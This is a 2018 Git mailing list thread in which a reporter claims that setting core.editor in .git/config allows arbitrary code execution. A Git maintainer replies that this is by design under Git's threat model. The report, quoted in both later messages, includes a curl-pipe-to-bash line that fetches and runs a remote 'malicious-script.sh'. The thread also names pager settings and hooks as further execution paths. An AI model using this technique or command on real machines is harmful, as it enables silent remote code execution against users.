{"thread":{"id":"49214","subject":"Git vulnerability - execution of arbitrary code through .git/conf","startedAt":"2018-08-26T02:13:44Z","lastAt":"2018-08-26T03:26:11Z","messageCount":3,"participants":["Leo Silva (a.k.a kirotawa)","Jeff King"],"isPatch":false,"patchVersion":null,"patchTotal":null},"messages":[{"id":"356529","messageId":"CA+KS1kb7yVoG-j7p83--2+0Ry+iFg1YbEa9KzxqPTvNZTF5RHQ@mail.gmail.com","threadId":"49214","inReplyTo":null,"subject":"Git vulnerability - execution of arbitrary code through .git/conf","fromName":"Leo Silva (a.k.a kirotawa)","fromEmail":"kirotawa@gmail.com","sentAt":"2018-08-26T02:13:30Z","receivedAt":"2018-08-26T02:13:44Z","isPatch":false,"sender":{"key":"kirotawa@gmail.com","avatar":null},"body":"Hi git community!\n\nI found what seems to be a vulnerability/bug on git. I'm running\nversion 2.7.4 on Ubuntu xenial, but also tested with last version\n2.19.0.rc0.2.g29d9e3e.\n\nThe steps to reproduce are:\n\n1. open your .git/conf\n2. add something like:\n[core]\n    editor = ls /etc/passwd\nor even\n    editor = curl -s http://server/path/malicious-script.sh | bash -s\n3. run: git commit\n\nA malicious user/repo can set some code through URL or even as command\nin .git/conf and take control of your machine or silently run\nmalicious code.\n\n[]'s\n-- \n\n----------------------------------------------\nLeônidas S. Barbosa (Kirotawa)\nblog: corecode.wordpress.com\n---------------------------------------------\n\n\"O que importa são os incontáveis pequenos atos de pessoas\ndesconhecidas, que fundam as bases para os eventos significativos que\nse tornam história\" - Howard Zinn\n"},{"id":"356530","messageId":"20180826031910.GA12286@sigill.intra.peff.net","threadId":"49214","inReplyTo":"CA+KS1kb7yVoG-j7p83--2+0Ry+iFg1YbEa9KzxqPTvNZTF5RHQ@mail.gmail.com","subject":"Re: Git vulnerability - execution of arbitrary code through .git/conf","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2018-08-26T03:19:10Z","receivedAt":"2018-08-26T03:19:14Z","isPatch":false,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:\n\n> Hi git community!\n> \n> I found what seems to be a vulnerability/bug on git. I'm running\n> version 2.7.4 on Ubuntu xenial, but also tested with last version\n> 2.19.0.rc0.2.g29d9e3e.\n> \n> The steps to reproduce are:\n> \n> 1. open your .git/conf\n> 2. add something like:\n> [core]\n>     editor = ls /etc/passwd\n> or even\n>     editor = curl -s http://server/path/malicious-script.sh | bash -s\n> 3. run: git commit\n>\n> A malicious user/repo can set some code through URL or even as command\n> in .git/conf and take control of your machine or silently run\n> malicious code.\n\nThis is all working as designed. There are many ways you can execute\narbitrary code by changing files in in a .git directory. As you noticed,\ncore.editor is one. pager.* is another one, as are hooks in .git/hooks.\n\nOur threat model is that the files in .git are trusted, and should be\nprotected through normal filesystem permissions. An important part of\nthat model is that a \"git clone\" does not copy arbitrary .git files from\nthe other side (only objects and refs). If you find a way around that,\nit would be a problem (and in fact many of the vulnerabilities we've had\nhave involved somehow writing into .git from the checked-out tree).\n\n-Peff\n"},{"id":"356531","messageId":"CA+KS1kZ2oxe5=Tsn-8Dif6HcPpM=xxaeRqB+xLdsLU_1aua_JQ@mail.gmail.com","threadId":"49214","inReplyTo":"20180826031910.GA12286@sigill.intra.peff.net","subject":"Re: Git vulnerability - execution of arbitrary code through .git/conf","fromName":"Leo Silva (a.k.a kirotawa)","fromEmail":"kirotawa@gmail.com","sentAt":"2018-08-26T03:25:56Z","receivedAt":"2018-08-26T03:26:11Z","isPatch":false,"sender":{"key":"kirotawa@gmail.com","avatar":null},"body":"ah, cool!\n\nSo, when a git clone is executed it generates a new .git/config to the\nlocal one (I didn't pay attention on that).\n\nThanks a lot for the clarification Peff!\n\n\nOn Sun, Aug 26, 2018 at 12:19 AM Jeff King <peff@peff.net> wrote:\n>\n> On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:\n>\n> > Hi git community!\n> >\n> > I found what seems to be a vulnerability/bug on git. I'm running\n> > version 2.7.4 on Ubuntu xenial, but also tested with last version\n> > 2.19.0.rc0.2.g29d9e3e.\n> >\n> > The steps to reproduce are:\n> >\n> > 1. open your .git/conf\n> > 2. add something like:\n> > [core]\n> >     editor = ls /etc/passwd\n> > or even\n> >     editor = curl -s http://server/path/malicious-script.sh | bash -s\n> > 3. run: git commit\n> >\n> > A malicious user/repo can set some code through URL or even as command\n> > in .git/conf and take control of your machine or silently run\n> > malicious code.\n>\n> This is all working as designed. There are many ways you can execute\n> arbitrary code by changing files in in a .git directory. As you noticed,\n> core.editor is one. pager.* is another one, as are hooks in .git/hooks.\n>\n> Our threat model is that the files in .git are trusted, and should be\n> protected through normal filesystem permissions. An important part of\n> that model is that a \"git clone\" does not copy arbitrary .git files from\n> the other side (only objects and refs). If you find a way around that,\n> it would be a problem (and in fact many of the vulnerabilities we've had\n> have involved somehow writing into .git from the checked-out tree).\n>\n> -Peff\n\n\n\n-- \n\n----------------------------------------------\nLeônidas S. Barbosa (Kirotawa)\nSecurity Engineer at Canonical Ltd\nblog: corecode.wordpress.com\n---------------------------------------------\n\n\"O que importa são os incontáveis pequenos atos de pessoas\ndesconhecidas, que fundam as bases para os eventos significativos que\nse tornam história\" - Howard Zinn\n"}]}